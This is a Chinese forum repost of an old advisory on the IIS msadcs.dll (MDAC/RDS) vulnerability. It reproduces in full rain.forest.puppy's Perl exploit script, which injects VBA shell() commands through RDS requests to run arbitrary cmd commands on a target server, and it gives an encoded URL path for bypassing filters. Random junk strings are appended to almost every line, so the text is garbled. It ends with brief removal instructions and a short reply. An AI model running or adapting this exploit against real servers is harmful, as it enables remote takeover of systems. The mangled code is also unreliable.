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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 1\ ~ "VF*{  
SCHP L.n  
涉及程序: vn!3l1\+J  
Microsoft NT server 5h-SCB>P  
Tod&&T'UW  
描述: O)*+="Rg  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 BC#C9|n  
xp)sBM7A  
详细: T{.pM4Hd  
如果你没有时间读详细内容的话,就删除: ?m}s4a  
c:\Program Files\Common Files\System\Msadc\msadcs.dll r&JgLC(   
有关的安全问题就没有了。 4y?n [/M/  
u(>^3PJ+  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 p!7FpxZY  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 '(f*2eE:  
关于利用ODBC远程漏洞的描述,请参看: y<|7z99L  
mb TEp*H  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm i {NzV  
>V?eog%~  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 -`kW&I0  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp iDp)FQ$  
%COX7gV  
这里不再论述。 eK?MKe  
t7Iv?5]N  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: HZC"nb}r4  
v6bGjVK[  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset uK"=i8rs4  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! w !-gJmX>  
ghG**3xr  
F3@phu${  
#将下面这段保存为txt文件,然后: "perl -x 文件名" {OkV%Q<  
xw,IJ/E$1  
#!perl .+3g*Dv{&  
# |O\s|H  
# MSADC/RDS 'usage' (aka exploit) script iAEbu&XG  
# +US!YU  
# by rain.forest.puppy |&+ o^  
# W.f/pu  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me x;P_1J%Q  
# beta test and find errors! .\ULbN3Z  
2ozax)GY  
use Socket; use Getopt::Std; XFHYQ2ME2  
getopts("e:vd:h:XR", \%args); x:NY\._  
S]e|"n~@  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; z,[Hli*0  
ICx#{q@f,  
if (!defined $args{h} && !defined $args{R}) { QC OM_$y  
print qq~ {tuYs:  
Usage: msadc.pl -h <host> { -d <delay> -X -v } .Ni\\  
-h <host> = host you want to scan (ip or domain) 2 /\r)$ 2i  
-d <seconds> = delay between calls, default 1 second ArI2wM/v  
-X = dump Index Server path table, if available ~F|+o}a `  
-v = verbose BQE|8g'&T  
-e = external dictionary file for step 5 l|JE#  
'j8:vq^d  
Or a -R will resume a command session u"cV%(#  
ar!R|zmf  
~; exit;} DZ'P@f)]  
{0Yf]FQb-a  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; r;.yz I  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} *SbMqASv4G  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} taHJ ub  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); vAF "n  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ,F8Yn5h  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Db}j?ik/  
;40/yl3r3[  
if (!defined $args{R}){ $ret = &has_msadc; Fx_z6a  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} sk<3`x+  
|PCm01NU!  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 0y'H~(  
. "cmd /c "; :1. L}4"gg  
$in=<STDIN>; chomp $in; WTQ\PANAaR  
$command="cmd /c " . $in ; 8`B3;Zmm  
sQHv%]s 0  
if (defined $args{R}) {&load; exit;} p SH=%u>  
Eak$u>Fd8c  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Mlg0WrJ|2  
&try_btcustmr;  L2[($l  
W fN2bsx>  
print "\nStep 2: Trying to make our own DSN..."; V5nwu#  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 5,lEx1{_  
hP%M?MKC  
print "\nStep 3: Trying known DSNs..."; y{B=-\O]  
&known_dsn; e\`&p  
T9E+\D  
print "\nStep 4: Trying known .mdbs..."; Tj` ,Z5vy  
&known_mdb; "yy5F>0Wt  
>-RQ]?^  
if (defined $args{e}){ ~OYiq}g  
print "\nStep 5: Trying dictionary of DSN names..."; x*\Y)9Vgy  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 'A=^Se`=  
t:x\kp  
print "Sorry Charley...maybe next time?\n"; b;B%q$sntC  
exit; wtLO!=B  
PFlNo` iO  
############################################################################## \$~|ZwV{  
$t'MSlF  
sub sendraw { # ripped and modded from whisker !7O+ogL  
sleep($delay); # it's a DoS on the server! At least on mine... T@H ^BGs  
my ($pstr)=@_; vFzRg5lH  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^qvZXb  
die("Socket problems\n"); 7dTkp!'X-  
if(connect(S,pack "SnA4x8",2,80,$target)){ p}z<Fdu 0  
select(S); $|=1; hn7# L  
print $pstr; my @in=<S>; ~f&E7su-6+  
select(STDOUT); close(S); ;LKkbT 5  
return @in; J\} twYty  
} else { die("Can't connect...\n"); }} e }?db  
MIeU,KT#U  
############################################################################## a_^\=&?'  
xC?6v '  
sub make_header { # make the HTTP request ]Grek<  
my $msadc=<<EOT :".ARCg  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Gt8M&S-;  
User-Agent: ACTIVEDATA ,a{P4Bq  
Host: $ip o=:9y-nH  
Content-Length: $clen u"r`3P`  
Connection: Keep-Alive D# 9m\o_  
?um;s-x)  
ADCClientVersion:01.06 wy<S;   
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 dK$XNi13.5  
0I-9nuw,^;  
--!ADM!ROX!YOUR!WORLD! ^&9zw\x;z  
Content-Type: application/x-varg Hs;4lSyUO  
Content-Length: $reqlen k{R>  
60^`JVGWH  
EOT p;`>e>$  
; $msadc=~s/\n/\r\n/g; M!siK2  
return $msadc;} 58}U^IW  
6IN e@  
############################################################################## wQ:)KjhHH  
p}}R-D&K  
sub make_req { # make the RDS request H*?t^  
my ($switch, $p1, $p2)=@_; ANAVn@ [  
my $req=""; my $t1, $t2, $query, $dsn; jKz$@gP  
=g7x' kN  
if ($switch==1){ # this is the btcustmr.mdb query nSDMOyj+  
$query="Select * from Customers where City=" . make_shell(); gs^Xf;g vI  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . *?@?f&E/  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ]\-A;}\e  
ch*8B(:  
elsif ($switch==2){ # this is general make table query &@X<zWg  
$query="create table AZZ (B int, C varchar(10))"; { T/[cu<  
$dsn="$p1";} T= 80,  
kUb>^- -K  
elsif ($switch==3){ # this is general exploit table query |"q5sym8Y_  
$query="select * from AZZ where C=" . make_shell(); {LI=:xJJv  
$dsn="$p1";} rm'SOJVA  
]6k\)#%2  
elsif ($switch==4){ # attempt to hork file info from index server f=+mIZ  
$query="select path from scope()"; JMCKcZ%N  
$dsn="Provider=MSIDXS;";} ydEoC$?0  
xWH.^o,"  
elsif ($switch==5){ # bad query ?.m bK  
$query="select"; >F|>cc>_E  
$dsn="$p1";} x;O[c3I  
M5 LfRBO  
$t1= make_unicode($query); ~gJwW+  
$t2= make_unicode($dsn); [Q~#82hBhY  
$req = "\x02\x00\x03\x00";  C#.->\  
$req.= "\x08\x00" . pack ("S1", length($t1)); do hA0  
$req.= "\x00\x00" . $t1 ; i'<[DjMDlm  
$req.= "\x08\x00" . pack ("S1", length($t2)); 9Z$"K-G  
$req.= "\x00\x00" . $t2 ; F@D`N0Pte  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; `{@8Vsmy:  
return $req;} ''cInTCr  
"`/h#np  
############################################################################## +q<jAW A  
+uF>2b6'  
sub make_shell { # this makes the shell() statement -u+vJ6EY  
return "'|shell(\"$command\")|'";} Gm&Za,4%4  
df8k7D;~e  
############################################################################## l ~"^7H?4e  
3GYw+%Z]  
sub make_unicode { # quick little function to convert to unicode @(w@e\Bq  
my ($in)=@_; my $out; {f_={k  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 7DogM".}~Q  
return $out;} 5+4IN5o]=  
%@J.{@>  
############################################################################## /obfw^  
a@K%06A;'  
sub rdo_success { # checks for RDO return success (this is kludge) R`5.[?Dt  
my (@in) = @_; my $base=content_start(@in); 4d4ZT?V[  
if($in[$base]=~/multipart\/mixed/){ ;J( 8 L  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} V;VHv=9`o  
return 0;} 3Y4?CM&0v  
F}yW/  
############################################################################## ](]i 'fE>  
[-1^-bb  
sub make_dsn { # this makes a DSN for us BGZ#wru  
my @drives=("c","d","e","f"); *->W^1eGM  
print "\nMaking DSN: "; gT{Q#C2Baw  
foreach $drive (@drives) { x M/+L:_<  
print "$drive: "; <18(  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . _IHV7*u{;  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Wx%H%FeK  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); S/hQZHZHg,  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; wD}l$ & +  
return 0 if $2 eq "404"; # not found/doesn't exist .&iawz  
if($2 eq "200") { IVnHf_PzF  
foreach $line (@results) { ?/E~/;+7=  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} m#Jmdb_  
} return 0;} |)DGkOtd  
HXC ;Np  
############################################################################## ITXa&5D  
fSj5ZsO  
sub verify_exists { .[KrlfI  
my ($page)=@_; F@jZ ho  
my @results=sendraw("GET $page HTTP/1.0\n\n"); A/$QaB,x  
return $results[0];} J$DE"| -  
;W )Y OT  
############################################################################## ij`w} V  
MTh<|$   
sub try_btcustmr { z]y.W`i   
my @drives=("c","d","e","f"); ~8Fk(E_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =!A_^;NQf  
Z9ZPr?C=  
foreach $dir (@dirs) { +4~_Ei[i  
print "$dir -> "; # fun status so you can see progress ./Zk`-OBT  
foreach $drive (@drives) { Lnl(2xD  
print "$drive: "; # ditto K hR81\  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; nsC3  
$reqlenlen=length( "$reqlen" ); Xf]d. :  
$clen= 206 + $reqlenlen + $reqlen; k/_ 59@)  
)T2Caqs2  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); z6\UGSL  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ;%9|k U  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 9!\B6=r y4  
|$Sedzj'  
############################################################################## N7zft  
?pmHFlx  
sub odbc_error { VQt0  4?  
my (@in)=@_; my $base; 3,3N^nSD  
my $base = content_start(@in); h 0Q5-EA  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 9d659i C  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^98~U\ar  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; UYJZYP%r  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 13=AW  
return $in[$base+4].$in[$base+5].$in[$base+6];} kd(8I_i@  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; O"9\5(w  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . oxA<VWUNT  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ,AFu C <  
lIS-4QX1  
############################################################################## e{K 215  
)F>#*P  
sub verbose { hBUn \~z  
my ($in)=@_; nPl?K:(  
return if !$verbose; `i*E~'  
print STDOUT "\n$in\n";} w+|L+h3L7  
n0 {i&[I~+  
############################################################################## 9wwqcx)3(  
'[:D$q;  
sub save { ~rKrpb]ow  
my ($p1, $p2, $p3, $p4)=@_; L|xbR#v  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; sY Qk  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; {rw|#Z>A  
close OUT;} &%DY\*  
;bib/  
############################################################################## 8qTys8  
I"<\<^B<  
sub load { _7 L-<  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Om\vMd@!  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); *Kg ks4  
@p=<IN>; close(IN); LckK\`mh  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Hg izW  
$target= inet_aton($ip) || die("inet_aton problems"); zu{P#~21  
print "Resuming to $ip ..."; ,!y$qVg'\f  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; G4X|Bka  
if($p[1]==1) { #OD/$f_  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ,m:.-iy?  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; & l&:`nsJ  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 3yF,ak {Sl  
if (rdo_success(@results)){print "Success!\n";} i%]EEVmN  
else { print "failed\n"; verbose(odbc_error(@results));}} ,T$U'&;  
elsif ($p[1]==3){ +gtbcF@rx  
if(run_query("$p[3]")){ E A1?)|}n  
print "Success!\n";} else { print "failed\n"; }} WiR(;m<g  
elsif ($p[1]==4){ ]72`};  
if(run_query($drvst . "$p[3]")){ 0@iY:aF  
print "Success!\n"; } else { print "failed\n"; }} IY\5@PVZ  
exit;} b9HtR-iR;  
6j]0R*B7`Q  
############################################################################## m8hk:4Ae  
g7`LEF <A  
sub create_table {  w``ST  
my ($in)=@_; <)c)%'v  
$reqlen=length( make_req(2,$in,"") ) - 28; Fj3a.'  
$reqlenlen=length( "$reqlen" ); /]Md~=yNp  
$clen= 206 + $reqlenlen + $reqlen; h2]P]@nW;W  
my @results=sendraw(make_header() . make_req(2,$in,"")); xj;H&swo  
return 1 if rdo_success(@results); ~IBP|)WA-  
my $temp= odbc_error(@results); verbose($temp); qiBVG H  
return 1 if $temp=~/Table 'AZZ' already exists/; :>f )g  
return 0;} @,7GaK\  
Ai?*s%8v  
############################################################################## ,Uqs1#r  
joAv{Tc  
sub known_dsn { f+)L#>Gl?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go C1n>M}b  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", H3=qe I  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,j_i?Ff  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); !``,gExH  
u^I|T.w<r6  
foreach $dSn (@dsns) { j-}O0~Jz  
print "."; 29] G^f>  
next if (!is_access("DSN=$dSn")); e2oa($9  
if(create_table("DSN=$dSn")){ oY3;.;'bk  
print "$dSn successful\n"; fxHH;hRfv  
if(run_query("DSN=$dSn")){ 0 ZKx<]!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $Sip$\+*  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Vv=. -&'  
|3"KK  
############################################################################## PB*&aYLU  
~P **O~  
sub is_access { :{l_FY436  
my ($in)=@_; yq\K)g*=  
$reqlen=length( make_req(5,$in,"") ) - 28; Y)2,PES=  
$reqlenlen=length( "$reqlen" ); p]+Pkxz]'  
$clen= 206 + $reqlenlen + $reqlen; >@_^fw)  
my @results=sendraw(make_header() . make_req(5,$in,"")); uZKr  
my $temp= odbc_error(@results); 6 V=9M:  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); rw JIx|(  
return 0;} Ioa$51&  
KRRdXx\~  
############################################################################## qqY"*uJ'  
 ItrDJ'  
sub run_query { nMUw_7Y6  
my ($in)=@_; Fk7')?  
$reqlen=length( make_req(3,$in,"") ) - 28; 3bH'H*2  
$reqlenlen=length( "$reqlen" ); aeM+ d`f  
$clen= 206 + $reqlenlen + $reqlen; j6 z^Tt12  
my @results=sendraw(make_header() . make_req(3,$in,"")); &@OT*pNna  
return 1 if rdo_success(@results); x g  
my $temp= odbc_error(@results); verbose($temp); vXZOy%$o  
return 0;} '_FsvHQ  
dkTX  
############################################################################## &n:.k}/P  
QlU8uI[dk  
sub known_mdb { C33J5'(CA  
my @drives=("c","d","e","f","g"); uHzU-FZ|B  
my @dirs=("winnt","winnt35","winnt351","win","windows"); GGs}i1m  
my $dir, $drive, $mdb; f r6 fj  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; OA;XiR$xP  
Ai3*QX  
# this is sparse, because I don't know of many I,vJbvvl!  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ]GkfEh7/J  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "@0]G<H  
"\\system32\\certmdb.mdb", +iRh  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ENs&RZ;  
JL{VD /f  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Lk}J8 V^2  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 7~.9=I'A  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", V {ddr:]4  
"\\cfusion\\cfapps\\security\\realm_.mdb", ]&+s6{}  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 3;]H1 1  
"\\cfusion\\database\\cfexamples.mdb", 8'io$ 6d=  
"\\cfusion\\database\\cfsnippets.mdb", h MD|#A-<  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", c,+:i1IAy  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 'I6i ,+D/q  
"\\cfusion\\brighttiger\\database\\cleam.mdb", M%P:n/j  
"\\cfusion\\database\\smpolicy.mdb", ,w4V?>l  
"\\cfusion\\database\cypress.mdb", aj{Y\ 3L  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", m~0/&RA  
"\\website\\cgi-win\\dbsample.mdb", $B5aje}i  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", tFOhL9T  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" w+u3*/Zf  
); #these are just -X2Buz8  
foreach $drive (@drives) { 9EibIOD^/  
foreach $dir (@dirs){ I:1C8*/  
foreach $mdb (@sysmdbs) { U8n V[  
print "."; M-Y_ Wb3  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ !wh8'X*  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =MDys b&:  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ],Do6 @M-  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; P{ lB50  
} else { print "Something's borked. Use verbose next time\n"; }}}}} sWnLEw  
G3Aes TT|  
foreach $drive (@drives) { H8}oIA"b  
foreach $mdb (@mdbs) { X2~!(WxU F  
print "."; T!)(Dv8@F  
if(create_table($drv . $drive . $dir . $mdb)){ PIS2Ed]  
print "\n" . $drive . $dir . $mdb . " successful\n"; -k"/X8  
if(run_query($drv . $drive . $dir . $mdb)){ P8/0H(,  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; '3^'B0 3  
} else { print "Something's borked. Use verbose next time\n"; }}}} *_\_'@1|J)  
} oV78Hq6  
>e5 qv(y]  
############################################################################## U0P~  
1f=gYzuO)  
sub hork_idx { ":QZy8f9%  
print "\nAttempting to dump Index Server tables...\n"; TJXT-\Vk  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; CryBwm  
$reqlen=length( make_req(4,"","") ) - 28; LsU9 .  
$reqlenlen=length( "$reqlen" ); bdE[;+58  
$clen= 206 + $reqlenlen + $reqlen; ZyFjFHe+  
my @results=sendraw2(make_header() . make_req(4,"","")); z1X`o  
if (rdo_success(@results)){ ^v7gIC  
my $max=@results; my $c; my %d; 5">Z'+8  
for($c=19; $c<$max; $c++){ D_zZXbNc  
$results[$c]=~s/\x00//g; suDQ~\ n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; hf&9uHN%7m  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; V+9 MoT?8  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; CB}2j  
$d{"$1$2"}="";} SSMHoJGm  
foreach $c (keys %d){ print "$c\n"; } J)p l|I  
} else {print "Index server doesn't seem to be installed.\n"; }} q9s=~d7  
r$s Qf&=  
############################################################################## ;vjOUn[E  
V1B5w_^>h'  
sub dsn_dict { p9{mS7R9T  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); )MTOU47U  
while(<IN>){ #Ki[$bS~6  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; &\*(Q*2N  
next if (!is_access("DSN=$dSn")); d5:c^`  
if(create_table("DSN=$dSn")){ j*r{2f4Rt  
print "$dSn successful\n"; m^;f(IK5  
if(run_query("DSN=$dSn")){ c(s.5p ^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { xMG~N`r  
print "Something's borked. Use verbose next time\n";}}} T{[=oH+  
print "\n"; close(IN);} WCixKYq  
g{&ui.ml&  
############################################################################## <frutU16\  
; kI134i=  
sub sendraw2 { # ripped and modded from whisker ge8ZsaiU  
sleep($delay); # it's a DoS on the server! At least on mine... amY!qg0P*  
my ($pstr)=@_; {&1/V  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 6i3$CW  
die("Socket problems\n"); [Y| t]^M  
if(connect(S,pack "SnA4x8",2,80,$target)){ Z4 =GMXj  
print "Connected. Getting data"; JY(WK@  
open(OUT,">raw.out"); my @in; 2`=7_v  
select(S); $|=1; print $pstr; _KAQ}G3  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ]Er$*7f  
close(OUT); select(STDOUT); close(S); return @in; -PR N:'T  
} else { die("Can't connect...\n"); }} v mk2{f,g  
'?(% Zxw%&  
############################################################################## w ;^ra<*<+  
86F1.ve  
sub content_start { # this will take in the server headers >tW#/\x{  
my (@in)=@_; my $c; sLxc(d'A  
for ($c=1;$c<500;$c++) { o|["SYIf  
if($in[$c] =~/^\x0d\x0a/){ A^<jy=F&  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } |aq"#Ml)  
else { return $c+1; }}} JDT`C2-Q  
return -1;} # it should never get here actually P@c5pc#|  
aAUvlb  
############################################################################## 8FY?!C  
., 6-u  
sub funky { -e:`|(Mo  
my (@in)=@_; my $error=odbc_error(@in); Z/+#pWBI!  
if($error=~/ADO could not find the specified provider/){ iGB}Il)  
print "\nServer returned an ADO miscofiguration message\nAborting.\n";  Mb~F%_  
exit;} JZyAXm%  
if($error=~/A Handler is required/){ $*fMR,~t&  
print "\nServer has custom handler filters (they most likely are patched)\n"; l!u_"I8j5  
exit;} g]0_5?i  
if($error=~/specified Handler has denied Access/){ zy }$i?  
print "\nServer has custom handler filters (they most likely are patched)\n"; v`1M[  
exit;}} 1p=]hC  
xU`p|(SS-  
############################################################################## H9e<v4 c  
2[02,FG  
sub has_msadc { _.8S&  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); #AQV(;r7@  
my $base=content_start(@results); 8bld3p"^  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ~b8]H|<'Y  
return 0;} h~zT ydnH  
/9fR'EO{x  
######################## O :Tj"@h  
Qzw;i8n{  
/mzlH  
解决方案: P~X2^bw  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll EXqE~afm2  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ^^ixa1H<  
8YSAf+{FtK  
拿出来充数 哈哈
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